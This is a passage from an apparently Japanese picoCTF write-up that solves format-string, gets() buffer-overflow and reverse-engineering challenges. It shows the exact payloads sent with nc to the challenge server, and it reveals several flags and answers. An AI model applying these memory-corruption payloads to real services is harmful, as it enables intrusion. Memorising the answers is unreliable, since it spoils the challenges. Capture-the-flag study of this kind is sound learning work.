でユーザーの入力値を出力する際に書式文字列を指定していないため、書式文字列攻撃に対して脆弱である。
書式文字列攻撃を行い、メモリのデータを読み出せればフラグを取れそうである。(フラグはreadflag()
によってメモリに書き込まれる。)
以下のエクスプロイト・コードをサーバーに送ってみた。※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。
echo -e 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | nc saturn.picoctf.net 63415
$ echo -e 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | nc saturn.picoctf.net 63415
Tell me a story and then I'll tell you one >> Here's a story -
AAAA0xffa935f0,0xffa93610,0x8049346,0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x2c7025,0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,
フラグがHEX形式で読み出されているのが確認できる。(赤文字の部分)
後はHEXデコードして値を反転させればフラグを取れるはず。(メモリ内のデータのバイト・オーダーはリトル・エンディアン形式のため反転させる必要がある。)
$ echo 6f636970 | xxd -r -p | rev
pico
$ echo 7b465443 | xxd -r -p | rev
CTF{
$ echo 6b34334c | xxd -r -p | rev
L34k
$ echo 5f676e31 | xxd -r -p | rev
1ng_
$ echo 67346c46 | xxd -r -p | rev
Fl4g
$ echo 6666305f | xxd -r -p | rev
_0ff
しかし、どうやらフラグ文字列を完全には読み出せなかった模様。
scanf()
の入力文字数制限 (scanf("%127s", story);
) に引っかかったのかもしれないので、カンマ (,
) を除いて、もう一度同様のエクスプロイト・コードを送ってみた。
echo -e 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p' | nc saturn.picoctf.net 63415
$ echo -e 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p' | nc saturn.picoctf.net 63415
Tell me a story and then I'll tell you one >> Here's a story -
AAAA0xffbd5f800xffbd5fa00x80493460x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x365f6b630x336165610x7d6337630xfbad20000xf1b9bc00(nil)0xf7f9e9900x804c0000x8049410(nil)0x804c0000xffbd60680x80494180x20xffbd61140xffbd6120(nil)0xffbd6080(nil)
今度は完全なフラグを取ることができた。
$ echo 6f636970 | xxd -r -p | rev
pico
$ echo 7b465443 | xxd -r -p | rev
CTF{
$ echo 6b34334c | xxd -r -p | rev
L34k
$ echo 5f676e31 | xxd -r -p | rev
1ng_
$ echo 67346c46 | xxd -r -p | rev
Fl4g
$ echo 6666305f | xxd -r -p | rev
_0ff
$ echo 3474535f | xxd -r -p | rev
_St4
$ echo 365f6b63 | xxd -r -p | rev
ck_6
$ echo 33616561 | xxd -r -p | rev
aea3
$ echo 7d633763 | xxd -r -p | rev
c7c}
x-sixty-what (200points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
この問題には以下の注意喚起があった。
Reminder: local exploits may not always work the same way remotely due to differences between machines.
プログラムの実行ファイルvuln
とソースコードvuln.c
を渡される。
vuln
は64ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。
$ sudo checksec.sh --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74 Symbols No 0 3 vuln
続いてソースコードvuln.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
このプログラムはユーザーの入力をバッファオーバーフローに対して脆弱なgets()
で受け取る。
gets()
をオーバーフローさせてflag()
に制御を移すことが出来ればフラグを取れそうである。
エクスプロイト・コードは以下のような構成になる。
[bufのバッファサイズ 64バイト] + [RBPポインタのサイズ 8バイト] + [flag()のアドレス 0x00401236 4バイト]
ローカルマシンにダミーのflag.txt
を用意して検証してみた。
以下のエクスプロイト・コードでフラグを読み取ることができた。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00' | ./vuln
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{dummy}
Segmentation fault (core dumped)
picoCTF{dummy}
というダミーのフラグ を読み出せているのが確認できる。
続いて同様のエクスプロイト・コードをサーバーに送ってみたがフラグを取れなかった。※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\x00\x00\x00\x00\x00' | nc saturn.picoctf.net 53982
Welcome to 64-bit. Give me a string that gets you the flag:
$
実行環境の違いがあるためローカルマシンで使用したエクスプロイトがリモートマシンでは使えない場合がある、という注意喚起が事前にあったので、その辺りの部分を調べてみたのだが原因は分からなかった。
公式のヒントを確認してみた。以下は1つ目のヒント。
Now that we're in 64-bit, what used to be 4 bytes, now may be 8 bytes.
自分のエクスプロイト・コードは64ビット・プログラム向けに作成してあるので、このヒントは助けにならなかった。
以下は2つ目のヒント。
Jump to the second instruction (the one after the first
push
) in theflag
function, if you're getting mysterious segmentation faults.
コレもう、答えでは。。(^^;;
ヒントに従い、flag()
の最初のpush命令の次の命令のアドレスを確認してみた。
$ objdump -d -M intel vuln | grep -C 5 flag
0000000000401230 <frame_dummy>:
401230: f3 0f 1e fa repz nop edx
401234: eb 8a jmp 4011c0 <register_tm_clones>
0000000000401236 <flag>:
401236: f3 0f 1e fa repz nop edx
40123a: 55 push rbp
40123b: 48 89 e5 mov rbp,rsp
40123e: 48 83 ec 50 sub rsp,0x50
401242: 48 8d 35 bf 0d 00 00 lea rsi,[rip+0xdbf] # 402008 <_IO_stdin_used+0x8>
401249: 48 8d 3d ba 0d 00 00 lea rdi,[rip+0xdba] # 40200a <_IO_stdin_used+0xa>
401250: e8 db fe ff ff call 401130 <exit@plt+0x80>
401255: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
401259: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
40125e: 75 29 jne 401289 <flag+0x53>
401260: 48 8d 15 ac 0d 00 00 lea rdx,[rip+0xdac] # 402013 <_IO_stdin_used+0x13>
401267: 48 8d 35 ba 0d 00 00 lea rsi,[rip+0xdba] # 402028 <_IO_stdin_used+0x28>
40126e: 48 8d 3d e8 0d 00 00 lea rdi,[rip+0xde8] # 40205d <_IO_stdin_used+0x5d>
401275: b8 00 00 00 00 mov eax,0x0
40127a: e8 61 fe ff ff call 4010e0 <exit@plt+0x30>
pushの次の命令 (mov rbp,rsp
) のアドレスは0x0040123b
である。
0x0040123b
に飛ぶようにエクスプロイト・コードを書き直してみたところ、フラグを取れた。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | nc saturn.picoctf.net 64545
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | nc saturn.picoctf.net 64545
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{b16<REDACTED>c}
ちなみに上記のエクスプロイト・コードはローカルマシンでも使用できた。
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x3b\x12\x40\x00' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{dummy}
Segmentation fault (core dumped)
file-run1 (100points)
バイナリにstringsをかければフラグを取れる。
strings run | grep -i pico
file-run2 (100points)
バイナリにstringsをかければフラグを取れる。
strings run | grep -i pico
GDB Test Drive (100points)
以下の指示に従ってバイナリをGDBでデバッグすればフラグを取れる。
$ chmod +x gdbme
$ gdb gdbme
(gdb) layout asm
(gdb) break *(main+99)
(gdb) run
(gdb) jump *(main+104)
patchme.py (100points)
Pythonスクリプトを解析してフラグを取得する問題。
暗号化されたフラグflag.txt.enc
とフラグを復号するためのスクリプトpatchme.flag.py
を渡される。
以下はpatchme.flag.py
のソースコード。
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
#extend key to secret length
new_key = key
i = 0
while len(new_key) < len(secret):
new_key = new_key + key[i]
i = (i + 1) % len(key)
return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################
flag_enc = open('flag.txt.enc', 'rb').read()
def level_1_pw_check():
user_pw = input("Please enter correct password for flag: ")
if( user_pw == "ak98" + \
"-=90" + \
"adfjhgj321" + \
"sleuth9000"):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), "utilitarian")
print(decryption)
return
print("That password is incorrect")
level_1_pw_check()
patchme.flag.py
を実行して正しいパスワードを入力すればflag.txt.enc
をXOR復号する。XORの鍵はutilitarian
。
スクリプトの中にパスワードがハードコードされているので、スクリプトを実行してパスワードをコピペすればフラグを取れる。
$ python3 patchme.flag.py
Please enter correct password for flag: ak98-=90adfjhgj321sleuth9000
Welcome back... your flag, user:
picoCTF{p<REDACTED>a}
Safe Opener (100points)
以下のJavaのソースコードからパスワード文字列を発見する問題。パスワード文字列がフラグとなる。
import java.io.*;
import java.util.*;
public class SafeOpener {
public static void main(String args[]) throws IOException {
BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
Base64.Encoder encoder = Base64.getEncoder();
String encodedkey = "";
String key = "";
int i = 0;
boolean isOpen;
while (i < 3) {
System.out.print("Enter password for the safe: ");
key = keyboard.readLine();
encodedkey = encoder.encodeToString(key.getBytes());
System.out.println(encodedkey);
isOpen = openSafe(encodedkey);
if (!isOpen) {
System.out.println("You have " + (2 - i) + " attempt(s) left");
i++;
continue;
}
break;
}
}
public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
else {
System.out.println("Password is incorrect\n");
return false;
}
}
}
31行目にパスワードがBase64エンコードされた状態でハードコードされていた。パスワードをBase64デコードすればフラグを取れる。
echo -n cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -D
unpackme.py (100points)
以下のPythonスクリプトunpackme.flag.py
を解析してフラグを取得する問題。
import base64
from cryptography.fernet import Fernet
payload = b'gAAAAABiMD06eCisTWoohiYL5jHGdCte5LAviTFguZQSIyRLAWICJpmdrgxhdTB923h6eksddKpKH41I5-HGzI6xGF_7eb_1u0S2Phw2NvYGTF1KzE1-AU66FfIW6QXWnCpPHOS9CatNBuFXuyjEAx86Rld2E7GjvuKEOJJXx_GZE2JgAxnDmvcewoksfjVCCAwNqzixpUPKkIET2xmO4EsDqK4CUG8_JxP0HwSEzW4PH-hVpZrkyse4EodFPsjs7NVJF0hL1_8bP1TCiEEnFn7hCoTRRvlpYQ=='
key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())
Base64と思しきデータが目を引くが、これをBase64デコードしてもフラグは現れなかった。
スクリプトを実行するとパスワードを聞かれる。試しにcorrectstaplecorrectstaplecorrec
と入力してみたが、これは正しいパスワードではなかった。(ちなみにモジュールをインストールするのが億劫だったので、picoCTFのwebshellにスクリプトをアップロードして実行した。必要なモジュールはwebshellにインストール済みのようで、すんなり実行できた。)
picoctf@webshell:~$ python3 unpackme.flag.py
What's the password? correctstaplecorrectstaplecorrec
That password is incorrect.
スクリプトを眺めてみると以下のコードが目についた。
plain = f.decrypt(payload)
変数plain
に何らかの復号されたデータが格納される模様。
スクリプトに以下のprint文を加えて変数plain
の中身を出力してみたところ、フラグを取れた。
plain = f.decrypt(payload)
print(plain)
picoctf@webshell:~$ python3 unpackme-patched.py
b"\npw = input('What\\'s the password? ')\n\nif pw == 'batteryhorse':\n print('picoCTF{1<REDACTED>c}')\nelse:\n print('That password is incorrect.')\n\n"
What's the password? batteryhorse
picoCTF{1<REDACTED>c}
asm1 (200points)
以下のアセンブリ・コードを解析してフラグを取得する問題。
asm1:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: cmp DWORD PTR [ebp+0x8],0x3a2
<+10>: jg 0x512 <asm1+37>
<+12>: cmp DWORD PTR [ebp+0x8],0x358
<+19>: jne 0x50a <asm1+29>
<+21>: mov eax,DWORD PTR [ebp+0x8]
<+24>: add eax,0x12
<+27>: jmp 0x529 <asm1+60>
<+29>: mov eax,DWORD PTR [ebp+0x8]
<+32>: sub eax,0x12
<+35>: jmp 0x529 <asm1+60>
<+37>: cmp DWORD PTR [ebp+0x8],0x6fa
<+44>: jne 0x523 <asm1+54>
<+46>: mov eax,DWORD PTR [ebp+0x8]
<+49>: sub eax,0x12
<+52>: jmp 0x529 <asm1+60>
<+54>: mov eax,DWORD PTR [ebp+0x8]
<+57>: add eax,0x12
<+60>: pop ebp
<+61>: ret
若干、問題文が分かりにくかったが、どうやら上記のプログラムに引数として0x6fa
を渡した場合の戻り値を求めれば良いらしい。
アセンブリ・コードを擬似コードに書き換えてみた。
if (arg1 > 0x3a2):
if (arg1 != 0x6fa):
eax = arg1
eax = eax + 0x12
else:
eax = arg1
eax = eax - 0x12
elif (arg1 != 0x358):
eax = arg1
eax = eax - 0x12
else:
eax = arg1
eax = eax + 0x12
上記の擬似コードに従えば、引数として0x6fa
を渡すと、0x6fa
から0x12
を引いた値が戻り値となる。
以下の計算式でフラグを取れた。
>>> hex(0x06fa - 0x12)
'0x6e8'
vault-door-3 (200points)
以下のJavaのソースコードVaultDoor3.java
を解析してフラグを取得する問題。
import java.util.*;
class VaultDoor3 {
public static void main(String args[]) {
VaultDoor3 vaultDoor = new VaultDoor3();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Our security monitoring team has noticed some intrusions on some of the
// less secure doors. Dr. Evil has asked me specifically to build a stronger
// vault door to protect his Doomsday plans. I just *know* this door will
// keep all of those nosy agents out of our business. Mwa ha!
//
// -Minion #2671
public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
char[] buffer = new char[32];
int i;
for (i=0; i<8; i++) {
buffer[i] = password.charAt(i);
}
for (; i<16; i++) {
buffer[i] = password.charAt(23-i);
}
for (; i<32; i+=2) {
buffer[i] = password.charAt(46-i);
}
for (i=31; i>=17; i-=2) {
buffer[i] = password.charAt(i);
}
String s = new String(buffer);
return s.equals("jU5t_a_sna_3lpm18gb41_u_4_mfr340");
}
}
文字列jU5t_a_sna_3lpm18gb41_u_4_mfr340
を正しい順番に並べ替えれば良い模様。
checkPassword()
の処理をPythonコードに書き換えてみた。
encrypted_password = "jU5t_a_sna_3lpm18gb41_u_4_mfr340"
encrypted_password_list = []
## convert the encrypted password string into list format
for i in encrypted_password:
encrypted_password_list.append(i)
dummy_data = "********************************"
decrypted_password_list = []
## create a list for decrypted password
for i in dummy_data:
decrypted_password_list.append(i)
for i in range(0, 8):
#print(str('i: ') + str(i))
decrypted_password_list[i] = encrypted_password_list[i]
i += 1
for j in range(i, 16):
#print(str('j: ') + str(j))
decrypted_password_list[j] = encrypted_password_list[23 - j]
j += 1
for k in range(j, 32, 2):
#print(str('k: ') + str(k))
decrypted_password_list[k] = encrypted_password_list[46 - k]
for l in range(31, 16, -2):
#print(str('l: ') + str(l))
decrypted_password_list[l] = encrypted_password_list[l]
decrypted_password = ""
## convert the decrypted password into string format from list format
for d in decrypted_password_list:
decrypted_password += d
print(decrypted_password)
上記のPythonスクリプトを実行したところ、パスワードが復号された。
$ python3 decrypt-password.py
jU5t<REDACTED>380
bloat.py (200points)
以下のPythonスクリプトbloat.flag.py
を解析してフラグを取得する問題。暗号化されたフラグflag.txt.enc
も一緒に渡される。
import sys
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
"[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def arg133(arg432):
if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
return True
else:
print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
a[81]+a[68]+a[66]+a[83])
sys.exit(0)
return False
def arg111(arg444):
return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
a[75]+a[72]+a[78]+a[77])
def arg232():
return input(a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\
a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\
a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\
a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94])
def arg132():
return open('flag.txt.enc', 'rb').read()
def arg112():
print(a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\
a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\
a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25])
def arg122(arg432, arg423):
arg433 = arg423
i = 0
while len(arg433) < len(arg432):
arg433 = arg433 + arg423[i]
i = (i + 1) % len(arg423)
return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])
arg444 = arg132()
arg432 = arg232()
arg133(arg432)
arg112()
arg423 = arg111(arg444)
print(arg423)
sys.exit(0)
bloat.flag.py
を実行するとパスワードを聞かれる。正しいパスワードを入力すればflag.txt.enc
を復号して平文のフラグを取れる模様。
$ python3 bloat.flag.py
Please enter correct password for flag: hoge
That password is incorrect
ソースコードを眺めてみたところ、以下のコードが目についた。
def arg133(arg432):
if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
return True
どうやらarg133()
はユーザーの入力したパスワードとa[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]
を比較し、両者が一致すればTrueを返す模様。
a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]
の中身を知るために以下のprint文をarg133()
に追加してスクリプトを実行してみた。
def arg133(arg432):
print( a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68])
if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
return True
$ python3 bloat.flag-debug.py
Please enter correct password for flag: hoge
happychance
That password is incorrect
パスワードはhappychance
と判明した。後はスクリプトを実行して取得したパスワードをコピペすればフラグを取れる。
$ python3 bloat.flag-debug.py
Please enter correct password for flag: happychance
happychance
Welcome back... your flag, user:
picoCTF{d30<REDACTED>09}
Fresh Java (200points)
JavaのclassファイルKeygenMe.class
を解析してフラグを取得する問題。
以下の手順で解析した。(こちらの記事も併せて参照。)
JADでclassファイルをjavaファイルに変換。
C:\Users\user\Downloads\jad\jad -p KeygenMe.class > KeygenMe-debug.java
javaファイルをJD-GUIで開く。
以下がjavaファイルのソースコードである。フラグがハードコードされているのが確認できた。
import java.io.PrintStream;
import java.util.Scanner;
public class KeygenMe
{
public KeygenMe()
{
}
public static void main(String args[])
{
Scanner scanner = new Scanner(System.in);
System.out.println("Enter key:");
String s = scanner.nextLine();
if(s.length() != 34)
{
System.out.println("Invalid key");
return;
}
if(s.charAt(33) != '}')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(32) != 'e')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(31) != 'b')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(30) != '6')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(29) != 'a')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(28) != '2')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(27) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(26) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(25) != '9')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(24) != '_')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(23) != 'd')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(22) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(21) != 'r')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(20) != '1')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(19) != 'u')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(18) != 'q')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(17) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(16) != 'r')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(15) != '_')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(14) != 'g')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(13) != 'n')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(12) != '1')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(11) != 'l')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(10) != '0')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(9) != '0')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(8) != '7')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(7) != '{')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(6) != 'F')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(5) != 'T')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(4) != 'C')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(3) != 'o')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(2) != 'c')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(1) != 'i')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(0) != 'p')
{
System.out.println("Invalid key");
return;
} else
{
System.out.println("Valid key");
return;
}
}
}
asm2 (250points)
以下のアセンブリコードを解読する問題。引数として0x4
と0x21
を渡した場合に返される値を答えよとのこと。
asm2:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: sub esp,0x10
<+6>: mov eax,DWORD PTR [ebp+0xc]
<+9>: mov DWORD PTR [ebp-0x4],eax
<+12>: mov eax,DWORD PTR [ebp+0x8]
<+15>: mov DWORD PTR [ebp-0x8],eax
<+18>: jmp 0x509 <asm2+28>
<+20>: add DWORD PTR [ebp-0x4],0x1
<+24>: add DWORD PTR [ebp-0x8],0x74
<+28>: cmp DWORD PTR [ebp-0x8],0xfb46
<+35>: jle 0x501 <asm2+20>
<+37>: mov eax,DWORD PTR [ebp-0x4]
<+40>: leave
<+41>: ret
解読してコメントを入れてみた。
asm2:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: sub esp,0x10
<+6>: mov eax,DWORD PTR [ebp+0xc] // copy arg2 to eax
<+9>: mov DWORD PTR [ebp-0x4],eax // copy eax (arg2) to ebp-0x4
<+12>: mov eax,DWORD PTR [ebp+0x8] // copy arg1 to eax
<+15>: mov DWORD PTR [ebp-0x8],eax // copy eax (arg1) to ebp-0x8
<+18>: jmp 0x509 <asm2+28>
<+20>: add DWORD PTR [ebp-0x4],0x1
<+24>: add DWORD PTR [ebp-0x8],0x74
<+28>: cmp DWORD PTR [ebp-0x8],0xfb46 // compare ebp-0x8 (arg1) and 0xfb46
<+35>: jle 0x501 <asm2+20> // if arg1 <= 0xfb46, jump to asm2+20
<+37>: mov eax,DWORD PTR [ebp-0x4]
<+40>: leave
<+41>: ret
アセンブリをPythonコードに置き換えて実行した。スクリプトによって求められた値がフラグである。
def asm2(arg1, arg2):
while (arg1 <= 0xfb46):
arg2 = arg2 + 0x1
arg1 = arg1 + 0x74
return arg2
print(hex(asm2(0x4, 0x21)))
$ python3 pseudo-code.py
0x24c
vault-door-4 (250points)
以下のJavaのソースコードVaultDoor4.java
を解析してフラグを取得する問題。
import java.util.*;
class VaultDoor4 {
public static void main(String args[]) {
VaultDoor4 vaultDoor = new VaultDoor4();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// I made myself dizzy converting all of these numbers into different bases,
// so I just *know* that this vault will be impenetrable. This will make Dr.
// Evil like me better than all of the other minions--especially Minion
// #5620--I just know it!
//
// .:::. .:::.
// :::::::.:::::::
// :::::::::::::::
// ':::::::::::::'
// ':::::::::'
// ':::::'
// ':'
// -Minion #7781
public boolean checkPassword(String password) {
byte[] passBytes = password.getBytes();
byte[] myBytes = {
106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 ,
0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
0142, 0131, 0164, 063 , 0163, 0137, 0143, 061 ,
'9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e' ,
};
for (int i=0; i<32; i++) {
if (passBytes[i] != myBytes[i]) {
return false;
}
}
return true;
}
}
checkPassword()
にハードコードされているエンコードされたパスワードをデコードすれば良い模様。
byte[] myBytes = {
106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 ,
0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
0142, 0131, 0164, 063 , 0163, 0137, 0143, 061 ,
'9' , '4' , 'f' , '7' , '4' , '5' , '8' , 'e' ,
};
